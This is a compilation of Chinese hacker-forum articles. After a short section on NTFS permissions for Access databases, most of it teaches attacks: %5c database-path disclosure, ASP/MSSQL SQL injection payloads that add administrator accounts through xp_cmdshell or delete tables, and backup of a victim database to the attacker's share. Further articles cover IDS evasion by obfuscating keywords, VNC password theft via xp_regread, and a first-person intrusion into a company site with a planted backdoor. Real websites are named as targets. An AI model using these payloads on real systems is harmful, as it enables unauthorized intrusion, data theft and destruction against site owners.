(c) 原因初步分析：Access 数据库是单用户单线程的数据库，我们在 Access 里面打开编辑数据库文件时其实是以当前 Windows 用户(比如Administrator)身份打开数据库，而 ASP.NET 默认使用的是 ASPNET 虚拟用户（隶属于 Users 组），级别低于 Administrator，无法和 Administrator “抢夺”权限，所以出现冲突错误。至于 Access 2000 忽略这个问题的情形我们也不必做讨论了，可能是 Access 2000 没有考虑那么多因素吧。
1.6 再附带一种情形：将 db1.mdb 的属性改为“只读”，无论是 Access 2000 还是 Access XP 都将分别出现与 1.2 中各自的错误相同的错误提示。
(二)实验结论

(1) 我们首先再次总结一下 Access 数据库文件的 NTFS 权限设置的缘起：
在 ASP.NET 中默认是以一个叫做 ASPNET 的虚拟用户的身份来访问、操作数据库的，你可以在“控制面板”-“管理工具”-“计算机管理”-“本地用户和组”-“用户”中看到这个用户，默认情况下是：
全名：ASP.NET 计算机帐户
描述为：用于运行 ASP.NET 辅助进程(aspnet_wp.exe)的帐户。
隶属于：Users组。
使用这么一个隶属于 Users 组的用户来进行文件操作、数据库操作的风险是要比用一个 Administrators 组的用户的风险要小得多，这也是 ASP.NET 在安全方面的一个考虑吧。
既然是这么一个用户需要访问、操作数据库文件本身，那么我们就需要给它一定的 NTFS 权限以允许它的访问。显然没有 NTFS 的权限许可，ASPNET 就无法访问、操作数据库，就会出现上面实验中所看到的那些错误了。

(2) 经过上面的实验，我们已经知道如下的 NTFS 权限设置是可以满足一般需求的：
a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限：
允许 拒绝
完全控制 □ □
修改 □ □
读取及运行 √ □
列出文件夹目录 √ □
读取 √ □
写入 √ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限：
√ 允许将来自父系的可继承权限传播给该对象
同时我们也注意到 db1.mdb 是否为“只读”文件对 ASPNET 的访问也会有一定影响。
(3) 上述权限设置可以直接设置给 ASPNET 用户自己，也可以设置给 Users 组，或者直接给 Everyone 组上述权限都是可以的。因为 ASPNET 隶属于 Users 组，可以通过 用户组 给 ASPNET 设置权限。
(4) NTFS 权限在文件或文件夹右击后得到的“属性”对话框-“安全”选项卡中设置，一般情况下，可以考虑给 Adminitrators 组以“完全控制”的权限，同时不要轻易在“拒绝”中打勾，有关 NTFS 权限设置的技巧，可以咨询网络管理员、网络安全专家的建议。
注：FAT, FAT32 格式的分区中不支持 NTFS 权限。
(5) Windows 2000 系列，Windows Server 2003 系列的“安全”选项卡默认是很容易找到的，但 Windows XP Professional 中的“安全”选项卡默认是关闭的，可以将“控制面板”-“文件夹选项”-“查看”选项卡中的“高级设置”中“使用简单共享（推荐）”一项的“√”去除，“确定”之后，再次按照上面的方法即可看到“安全”选项卡了。
===========
综上所述，2、3、4法一起使用，是防止数据库被下载最基本，最行之有效的方法，既适用于对服务器有管辖权的网管，又适用于虚拟主机的用户，推荐每一个制作者同时必用这三种方法
若你对服务器拥有管辖权，推荐再加上方法9，你的ACCESS数据库的安全性就可以大大提高了。

假设网站被暴库(攻击者通过各种途径取到了数据库的URL)。对于防范较弱的Web系统，这意味着数据库将被攻击者下载回去，网站全部后台数据泄露。


也谈%5c暴库的利用

信息来源：itsbbs
到处都见到这再谈%5c暴库的利用文章 只要是黑客类网站都基本上有这文章
原理这文章已经说了 关于%5C的这个漏洞最早幻影上面的人发现的 那时发出来还被人大骂
了一顿
这里是那文章的一些关键部分：
1。一般的错误返回页面是本地IE提供的,所以我们先得关了本地的错误页面,具体在菜单项的‘工具->internet选项->高级->显示友好信息’。
2。对方数据库要是Access型。
3。%5c的暴库需要的是二级目录，一级目录无法成功。如：
http://www.sometips.com%5c1.asp?id=1 不成功
http://www.sometips.com/other%5c1.asp?id=1 成功

个人认为要成功的条件：
1，是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来
2， 对方的IIS没有关闭错误提示 只要关了错误提示就算你怎么暴也没有用
3，不一定要2级目录 但是肯定的是一级目录是绝对不成功的 要是你成功了欢迎拿出来给大家分享 他文章说的自己够造个noexists/..%C的2级目录 个人认为应该是错误的 至少我没有成功过 有成功的欢迎留下网站测试
4，还有就是 要成功一定要调用到数据库 不一定是5c1.asp?id=1 这种类别的 只要是提交或者检测数据的基本都可以 非常多的六合采网站都是采用/XXX/CHECK.ASP来认证 找到认证位置 直接/XXX%5CCHECK。ASP同样可以达到 暴库的目的
以上是个人的看法 要是有什么错误 希望大家指出
superhei：
引用 (SystEm32 @ 2004-11-17 00:04:06)
3。%5c的暴库需要的是二级目录，一级目录无法成功。如：
http://www.sometips.com%5c1.asp?id=1 不成功
http://www.sometips.com/other%5c1.asp?id=1 成功
对于http://www.sometips.com%5c1.asp?id=1 不成功
还是有可能暴库的
如果他的conn.asp在2级目录比如inc目录 也有可能暴库
直接在提交http://www.sometips.com/inc/conn.asp
ToToDoDo：
关键还是看其数据库连接文件所在的路径位置。
如果其连接 文件中的路径使用了相对路径且没有直接指向其ACCESS数据库那就可能被暴库。所谓没有直接指向是因为此连接文件是被其他目录的文件include之后相对与其他目录的文件，数据库才是正确的路径。所以个人感觉要避免被暴库除了要作好服务器屏蔽错误提示和程序容错外，还要注意数据库连接文件一定要正确的指向数据库。要不就用物理路径连接最省事。


对于国内外的很多新闻，BBS和电子商务网站都采用ASP+SQL设计，而写 ASP的程序员很多（有很多刚刚毕业的），所以，ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系，也没有相应的补丁，因为漏洞是程序员自己造成的，而且大多数讲解ASP编程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的ASP对SQL的请求，就留下后患无穷！
这种攻击方法最早源于'or'1'='1的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;execsp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的SQL Server账号是个管理员，其次请求的提交变量在整个SQL语句的最后，因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库，那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方
法:
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin正常执行！
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样，你在他的数据库和系统内都留下了hax管理员账号了,当然，前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。以后我们会讨论，如果对方的ASP不是用SQL管理员账号，我们如何入侵，当然也会涉及到1433端口的入侵.当然大家可以试试看在id=2后面加上一个'符号，主要看对方的ASP怎么写了。
再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页，有新闻内容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵，报语法错误，select 123错误，显而易见，天融新的ASP在newid变量后面用'号结束，那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;-- 哈哈，我想只要表名猜对了，新闻库就被删了。
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。
但是我们不知道库名该怎么？看看db_name()函数吧。打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了。
以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了吧。同理这个方法可以找到对方的SQL的IP，先装一个防火墙，打开ICMP和139TCP和445TCP的警告提示，然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP，如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的SQL Server的位置了。

那么，如果对方ASP没有SQL管理员权限，我们就不能调用xp_cmdshell了，该怎么办？
别着急，试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';-- 呵呵，你的防火墙该发出警告了，有人连接你的445或139(win9端口了，这样，对方的SQL的ip一样也可以暴露。
那么如果对方连某个数据库的owner也不是的话，我们该怎么办？下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了，如果对方数据库很庞大，你又是拨号上网，呵呵，劝你别试了，很难成功传输的。下次我们还会谈到如何骗过IDS执行ASP+SQL入侵。
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了，好吧，同志们下次见！
所有以上url希望大家通过vbscript提交，因为浏览器的地址栏会屏蔽一些特殊字符，这样你的命令就不能完整传输了window.location.herf=URL
补充：这个问题以前载网上也提出来过，但是只是一些简单的xp_cmdshell调用限制很大，其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题，而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是我尝试了，用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号！由于对方防火墙很严checkpoint数据报进出都只开放80端口因此，要想获得他的数据库结构比较困难了，但是还是有办法可以做到的：P。
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时，他们会很有用的！
sql server新漏洞和一些突破口
下面我要谈到一些sqlserver新的bug，虽然本人经过长时间的努力，当然也有点幸运的成分在内,才得以发现，不敢一个人独享，拿出来请大家鉴别,当然很有可能有些高手早已知道了，毕竟我接触sqlserver的时间不到1年：P
1。关于openrowset和opendatasource
可能这个技巧早有人已经会了，就是利用openrowset发送本地命令
通常我们的用法是（包括MSDN的列子）如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset
那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell返回的output集合就会提交给前面的select显示，如果采用默认设置，会返回空集合导致select出错，命令也就无法执行了。
那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')，这样，命令至少会返回select 'OK!'的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于

这个方法真正的用处，大家慢慢想吧：P
2。关于msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下
select * from openrowset('msdasql','driver=;server=server;address=server,1433;uid=sa;pwd=;database=master; network=dbmssocn','select * from table1 select * fromtable2')
当table1和table2的字段数目不相同时，你会发现对方的sqlserver崩溃了，连本地连接都会失败，而系统资源占用一切正常，用pskill杀死sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个bug的，具体原因我还没有摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，因该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧：P
3。可怕的后门
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell''dir c:\''')这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver不重启，这个映射会一直存在下去，至少我现在还不知道如何发现别人放置的连接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest用户，运行以上这条命令也一样能通过！而且权限是localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。
以上的方法在sqlserver2000+sqlserver2000SP1上通过！
*另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql的方法如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。
因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行：P
利用t-sql骗过ids或攻击ids
现在的ids已经变得越来越聪明了
有的ids加入了xp_cmdshell sp_addlogin 的监视 ，但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉 。先说说欺骗ids:
ids既然监视xp_cmdshell关键字，那么我们可以这么做，declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\' 这个代码象性大家都能看明白，还有xp_cmdshell作为一个store procedure在master库内有一个id号，固定的，我们也可以这么做，
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
当然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
这种做法排列组合，ids根本不可能做的到完全监视
同理，sp_addlogin也可以这么做 。

再说说攻击ids:
因为ids数据量很大，日至通常备份到常规数据库，比如sql server
如果用古老的recordset.addnew做法，会严重影响ids的性能，因为通过ado做t-sql请求，不但效率高，而且有一部分工作可以交给sql server去做 。
通常程序会这么写：insert table values ('日至内容',...)
那么我么想想看，如果用temp') exec xp_cmdshell 'dir c:\' -- ，提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ') ，这样，xp_cmdshell就可以在ids的数据库运行了，当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成%20 ，因此，%20会被提交到sql server，这样你的命令就无法执行了 ，唯一的办法就是insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行,当然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录 。呵呵 ...
其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/ ,本来asp是select语句，那么用'就可以屏蔽现在ids用insert语句，那么用')屏蔽 。
好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query analyzer了。


最新%5c暴库利用 三谈关于%5c暴库

来源：http://zhouzhen.blogchina.com　作者：zhouzhen
今天在黑基又看到了关于％5c暴库的文章。呵呵，这招真的很管用，大概10个网站里会有一个会暴库吧。。
关于这个漏洞。绿盟有相关的资料。

Microsoft IIS CGI文件名错误解码漏洞
发布日期：2001-05-15
CVE CAN ID：CVE-2001-0333
受影响的软件及系统：
====================
- Microsoft IIS 4.0
- Microsoft IIS 5.0
未受影响的软件及系统：
======================
- Windows IIS 4.0 (sp6/sp6a 没有安装其他新的hotfix)
综述：
======
NSFOCUS安全小组发现微软IIS 4.0/5.0在处理CGI程序文件名时存在一个安全漏洞，由于错误地对文件名进行了两次解码，攻击者可能利用这个漏洞执行任意系统命令。
分析：
======
IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。
例如，对于'\'这个字符，正常编码后是%5c。这三个字符对应的编码为：
'%' = %25
'5' = %35
'c' = %63
如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...
因此，"..\"就可以表示成"..%255c"或"..%%35c"等等形式。
在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成"..\"。因此攻击者就可以使用"..\"来进行目录遍历，执行web目录之外的任意程序。
测试方法：
==========
例如，如果TARGET存在一个虚拟可执行目录(scripts)，并且它与windows系统在同一驱动器上。那么提交类似下列请求：
http://target/scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\
就会列出C:\的根目录。
当然，对于'/'或者'.'做变换同样可以达到上面的效果。
例如："..%252f", ".%252e/"...
注意：攻击者只能以IUSER_machinename用户的权限执行命令。
解决方法：
==========
1、如果不需要可执行的CGI，可以删除可执行虚拟目录,例如 /scripts等等。
2、如果确实需要可执行的虚拟目录，建议将可执行虚拟目录单独放在一个分区
3、将所有可被攻击者利用的命令行工具移到另外一个目录中并禁止GUEST组访问。
厂商状态：
==========
2001.3.27 我们将这个问题通报给了微软公司。
2001.4.01 微软告知重现了这个问题
2001.4.16 微软提供了补丁程序供测试，测试发现此问题已被解决
2001.4.23 微软请求我们延迟2个星期发布公告以等待更完善的测试
2001.4.30 微软告知我们还须再推迟一个星期发布
2001.5.14 微软已就此发布了一个安全公告(MS01-026)以及相应补丁
您可以在下列地址看到微软安全公告的详细内容：
http://www.microsoft.com/technet/security/bulletin/ms01-026.asp
补丁程序可以在下列地址下载：
. Microsoft IIS 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
. Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
呵呵。虽然这个我们这个漏洞呵暴库关系不是很大， 但是明眼人还是看的出相关的地方，IIS 二次解码。大家知道在 url中 "\" 和 "/"
是一样的，也就是说 http://www.example.com/abc/123.asp?id=5 和 http://www.example.com/abc\123.asp?id=5 是一样的。
而 http://www.example.com/abc%5c123.asp?id=5 经过一次解码后变成 http://www.example.com/abc\123.asp?id=5 这里是不会出错的。
而 经过 IIS 二次解码后就变成 http://www.example.com/abc%5c123.asp?id=5, 如果数据库连接文件用的相对路径的话。HOO, 找不到数据
库文件，当然就出错了。还很老实呢，连物理路径都出来了。大家看。
Microsoft JET Database Engine 错误 '80004005'
'D:\wwwroot\hell\wwwroot\data\abc.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
/blog/conn.asp，行29

这个是我暴 Oblog 暴出来的，这个月的黑防大家都有看吧。。(晕倒，早知道我也去投稿了。我发现的比他早多了，郁闷。)
很多人都在分析成功的条件，就象itbbs里的人讨论的一样。(itbbs最近我怎么上不去啊，知道告诉偶.)
sykkk 认为：
1，是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来
2， 对方的IIS没有关闭错误提示 只要关了错误提示就算你怎么暴也没有用
3，不一定要2级目录 但是肯定的是一级目录是绝对不成功的 要是你成功了欢迎拿出来给大家分享 他文章说的自己够造个noexists/..%C的2级目录 个人认为应该是错误的 至少我没有成功过 有成功的欢迎留下网站测试
4，还有就是 要成功一定要调用到数据库 不一定是5c1.asp?id=1 这种类别的 只要是提交或者检测数据的基本都可以 非常多的六合采网站都是采用/XXX/CHECK.ASP来认证 找到认证位置 直接/XXX%5CCHECK。ASP同样可以达到 暴库的目的
其实我们 XST的老大ToToDoDo说的必要条件他忘了，数据库要相对路径，绝对路径是暴不出来的。还有我补充一点 应该是 IIS 4.0 或者 IIS 5.0 ，IIS 6 应该是不行了。
关于二级目录，我同意sykkk的看法，有的人说一定是二级目录，呵呵，我可以告诉大家那是错误的。应该是最靠近的asp文件的那个 "/"改成
"%5c", 只有有调用数据库都有可能暴库。哈哈，还有当然对方要没有屏蔽错误信息，要不然你是肯定看不到di
总结：％5c暴库成功条件
1. 对方服务器用的是 IIS 4.0 或 IIS 5.0， 并且没有屏蔽错误信息。

2. 是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来 (On Error Resume Next)
3.应该是Microsoft JET Database Engine 方式
4. 数据库文件调用用的是相对路径！！

不一定要求是二级目录。三级也是可以的(我有成功过), 二级目录反倒没成功，呵呵。还有构造二级目录，我是没成功过，嘿嘿，应该是错误的。：）

随便也告诉大家，aspx %5c 也有文章的，运用也很巧妙，想知道就知道google吧。^_^
个人见解，欢迎大家批评指正。

3，不一定要2级目录 但是肯定的是一级目录是绝对不成功的 要是你成功了欢迎拿出来给大家分享 他文章说的自己够造个noexists/..%C的2级目录 个人认为应该是错误的 至少我没有成功过 有成功的欢迎留下网站测试


MSSQL db_owner角色注入直接获得系统权限

文章作者：lcx www.icehack.com
相信大家对ASP+MSSQL注入都已经很熟悉了，连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手，如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下，好像也无技可施；除了用备份得到shell的这个思路，我在网上实在没有找出更好的入侵办法。不过，备份得到的shell只是理论化的东东，如果一个webshell有20mb的话，你还能用它吗？前不久，我就碰到了这样的一个台湾网站，管理员的密码倒是用NBSi跑了出来，可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台，可只有干瞪眼的份。怎么办？我又扫了它的所有端口，发现开了5900，估计是管理员用了VNC对服务器进行了远程控制。这时，我就有一个思路，能不能把VNC在注册表的加密密码读出来再来破解呢？看我表演吧！
    TELNET服务器的5900端口，得到讯息如图1所示,证实服务器的确用的是VNC。
图1
    相信大家都会用读xp_regread来读注册表了，依次提交如下语句：
    http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表，并且添加了类型是char，长度为255的字段名gyfd。然后向表中加数据:
_blank>http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
从注册表中读出VNC在注册表的加密密码的值，再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码：
_blank>http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)。
    可是结果大失我所望，gyfd的值是空的。如果这样容易的话，不会有这篇文章出现了。这是什么原因呢？我的语法不正确？翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样？后来我又开始在本机装了vnc又在分析查循器里做测试，得到的结果却是个数字5。这时czy上线了，询问了一下，他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下，依次提交如下语句：
      http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了，得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000。可这儿还不对，我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的，当输入的二进制长度小于n时，余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时，为什么还有那么多0来填充呢？这是因为正好我的vnc密码是0e3515ac0062d308，在碰到了00的情况下，xp_regread以为已经读完了它的值呢，把00当成了结束符，所以只读到了0x0E3515AC，我晕！
    翻了一下书，终于让我找到了一个特殊的数据类型uniqueidentifier，是用来存储一个16字节长的二进制数据类型。把注入语句改造一下：
      http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
      http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后再用nbsi跑一下，跑出来了，不过得到的结果是AC15350E-6200-08D3-0000-000000000000。
    AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308相比，能看出来有什么不同吗？只不过顺序是颠倒的，相信大家都会小学的算术，这个不用我教了。试一下用cain破出vnc的密码，看看行不行
    看样子在本机做的测试一切成功。这方法用到台湾上的站点试试，哎，依然没有跑出vnc的密码，也许繁体vnc在注册表的位置不同吧。不过，我研究了一上午，有了一点收获，就放过你吧。


注射MSSQL时从WEB恢复存储过程

文章作者：小泥巴
今天没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.当然 这是意料中的事.最近搞大家都喜欢搞脚本.那我也就从他们的网站程序看看了.
show.aspx?id=1'
嘿嘿 asp.net 照样暴 说什么有未闭合的分号.
show.aspx?id=1 and (select @@version)>0;--
果然,2003的系统
show.aspx?id=1 and 'sa'=(select System_user)--
嘿嘿 正确返回 有权限了 想到直接用xp_cmeshell直接添加帐号
因为之前已经知道这服务器开了3389的
所以 我们继续来：
show.aspx?id=1;exec master.dbo.xp_cmdshell "net user haco lovehaco /add"--
我倒,返回结果错误了 看来管理员还不是很可爱噢
那我们来恢复这个存储过程？OK 继续
show.aspx?id=1;exec master.dbo.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'--
回车后……狂晕死.居然说什么过程sp_addextendedproc没找着 开始我以为是删除了xplog70.dll 可是后来不这样这样认为了 记得以前也碰到过这样的事 可是都没能解决 这次一定要搞定 嘿嘿！之后 到处问人
这里要感谢一下BST论坛里的tob88 谢谢 是他提醒了我
不就是过程SP_ADDextendedproc被删除了嘛 我们恢复它就是了嘛！
为了方便 我添加了个sysadmin的帐号
show.aspx?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--
show.aspx?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;-- HOHO~ 搞定 俺自己装了MSSQL 企业管理器里连上这台服务器的SQL
调出查询器 恢复过程sp_addextendedproc 如下：
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
哈哈 试下 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
哇！命令成功完成 耶！添加帐号 登陆3389 留个我最喜欢的绝对后门
IIS隐藏虚拟目录 搞定 闪人……
PS：其实像sp_addextendedproc这些过程也都可以删除掉 就不能添加了
当然 也可以恢复的 这个恢复的语句 是从MSSQL数据库里得到的 有兴趣的朋友可以自己试试看 呵呵 这是我小泥巴第一次写东西 很稀烂的 大家看看就算了 别笑噢 要不 我会5555哭的噢！


你藏好了吗之轻松揪出数据库

本文作者：
文章性质： 原创
更新日期： 2004-02-05
出自：www.4ngel.net
E-Mail：sniper@77169.com
######################################

前言
    数据库作为一个站点的核心部分其重要性自然不言而喻，网管们也煞费苦心的把数据库改名、加上特殊符号来增加安全性。但是最近一些安全站点的数据库路径纷纷被人找到并下载，也就是最近讨论的很热的"暴库"技术。我和紫幻以及黑客X档案的各位朋友们也对这门技术进行了研究。虽说研究成果还不是很多，但希望能起一个抛转引玉的作用。下面我就拿两个系统来做实例分析：

动力文章系统
    一般说来每一个站点程序文件中都会有一个连接数据的文件（一般是conn.asp），当然这个文件名和路径并不是固定的，有的是在站点根目录下，有的是放在专门的一个文件夹里，通常这个文件夹名为INC，文件名为conn.asp。如果把这和暴库联系起来，通常人们都会想到通过访问这个文件来得到关于数据库的信息，而实际上我们直接访问这个文件是不会得到我们想要的信息的，所以就需要结合一些漏洞来达到暴库的目的。
    首先我来简单介绍一下这个程序，动力文章系统分为商业SQL版本和免费ACCESS版本，我们这里测试的当然是ACCESS版的。程序的conn.asp文件用于连接数据库，在/INC这个目录下，数据库文件在/Database目录下。连接数据库用的是相对路径：db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
    动力文章系统的这个数据库路径泄露隐患应该算是程序员的疏忽而造成的，由于conn.asp这个文件本身存在隐患，导致攻击者获得数据库路径。漏洞发现者:天天(即黑客X论坛叫sohu的那位MM ，参与研究者:怪狗、iceyes、sniper。(漏洞分析可以参考http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。
开始的时候我们还以为editor.asp这个文件缺乏足够的验证，但是后来分析我们才发现不是editor.asp的问题。天天的那种做法只是利用editor.asp查看服务器返回信息。我们再来演示一下这攻击过程。在IE中打开这个页面，看看这个页面能够起到什么作用(如图一)。

图一
